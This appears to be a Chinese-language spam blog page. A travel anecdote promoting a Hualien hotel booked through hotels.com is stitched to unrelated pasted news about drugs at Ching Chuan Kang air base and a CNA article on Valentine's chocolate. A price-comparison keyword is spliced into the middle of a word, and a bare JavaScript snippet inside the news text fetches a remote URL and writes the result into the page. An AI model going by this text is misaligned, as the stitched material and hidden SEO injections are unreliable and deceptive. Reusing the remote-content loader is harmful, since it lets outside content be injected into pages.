省錢旅遊

獨自一人在外工作了幾年,都沒好好陪伴家人

經過幾年的努力,終於存了一筆錢可以帶家人出去好好的玩一下了

出去玩的旅遊品質是很重要的,當然如果同樣的回質,卻能省錢也不賴

像這次我就是在hotels.com訂的飯店是 百事達國際飯店 - 花蓮

價格還挺優的!品質也挺不錯!可以說是值回票價

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商品訊息功能:

商品訊息描述:

主要設施

  • 208 間禁煙客房
  • 供應早餐
  • 免費兒童俱樂部
  • 免費火車站接駁
  • 健身中心
  • 24 小時商務中心
  • 機場接駁車
  • 24 小時櫃台服務
  • 空調
  • 每日客房清潔服務
  • 花園
  • 大型電玩遊戲室

闔家歡樂

  • 免費搖籃/嬰兒床
  • 兒童俱樂部 (免費)
  • 冰箱
  • 獨立浴室
  • 免費盥洗用品
  • 花園

鄰近景點

  • 位於花蓮市中心
  • 天恵堂 (0.6 公里)
  • 美崙山生態公園 (1.2 公里)
  • 延平郡王祠 (1.9 公里)
  • 日本將軍府 (2 公里)
  • 慈濟文化園區 (2.2 公里)


商品訊息簡述:

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下面附上一則新聞讓大家了解時事











▲清泉崗涉毒爆陰謀論,有心人奪位要長官出醜?

社會中心/台中報導

空軍清泉崗基地毒品案持續延燒,台中地檢署檢察官已向軍方調閱相關地點的監視器影像,交由台中市刑警大隊偵二隊追查毒品來源。

清泉崗基地發現毒品安非他命,數量愈查愈多,由最初的27包增加到51包,國防部長馮世寬下令調查;而基地內部也傳出陰謀論,指毒品可能是有心人故意丟棄,目的是讓長官「出醜」,伺機搶官職。

function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}

var theUrl = '';

document.write(httpGet(theUrl));

國防部長馮世寬昨天表示,「我們不得不懷疑為什麼有那麼多毒品出現,把它遺失在那邊,有遺失那麼多嗎?不想把這件事情想的那麼複雜,但是至少要把源頭找出來。」

另外,國防部也決定入伍新兵全部實施尿液篩檢,至於軍中涉毒情況是否嚴重?國防部人權處長沈世偉少將說,「105年來講,確定被起訴、被觀察勒戒有80幾件是沒有結案,觀察勒戒的有56件,通緝緩起訴的有25件,逐年增加比率可能有一點點,那個比例非常非常的低,因為我們篩檢比率是放大。」

根據軍方初檢採尿驗毒,其中26人呈陽性反應,移三軍總醫院複檢,另有百餘人尚未初驗;台中地檢署已向軍方調閱毒品「綿延2公里」的相關監視器畫面,釐清事件真相。



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(中央社記者黃麗芸台北4日電)農曆春節剛過完,馬上又要迎接西洋情人節的到來,還沒剷除過年累積的肥油,是否開始憂心情人節巧克力又要火上加油?營養師教你聰明吃巧克力,能浪漫過情人節又不怕掃興。

再過10天就是西洋情人節,不論是花店或是超商、量販店,經常可見用知名巧克力包裝而成的情人節花束,既美麗又好吃,是許多人送禮示愛的心頭好。

但這誘人的甜點卻是肥胖的幫手。新光醫院營養師夏子雯指出,這種巧克力因為包覆多層餡料,加上內含堅果,單顆熱量高達70大卡,吃3顆就等於是吃進一碗7分滿的白飯,相當驚人。

如何送得巧又吃不胖可是門學問。夏子雯建議,只要掌握三不原則「寧黑不白、選純不餡、適量不過量」,情人節還是可以開心大啖愛情巧克力。

她說明,白巧克力因為可可成分含量少,糖量和奶量就相對要提高,熱量自然比一般巧克力要來得高,最好選擇片裝的黑巧克力,甚至苦味可重一點的種類,熱量負擔較小。

另外,手工純巧住宿比價網克力又略勝含餡類型的巧克力,後者不論是包堅果或酒,內容物熱量都不少,忘我吃下後的體重可是很惱人。

夏子雯提到,即便掌握前兩個原則,若未謹守「適量」食用仍會功虧一簣,由於巧克力本身熱量就不低,若以長、寬約3公分大小的片裝黑巧克來計算,單日上限約2至3片即可。

她說,若收到的巧克力量多又怕不易保存者,其實和身旁親友分享甜蜜蜜巧克力,才是上上之策。

但須注意的是,巧克力內含咖啡因和糖,夏子雯提醒,肥胖者、血糖高者、孕婦及胃食道逆流患者,最好盡量避免或是少量攝取。1060204

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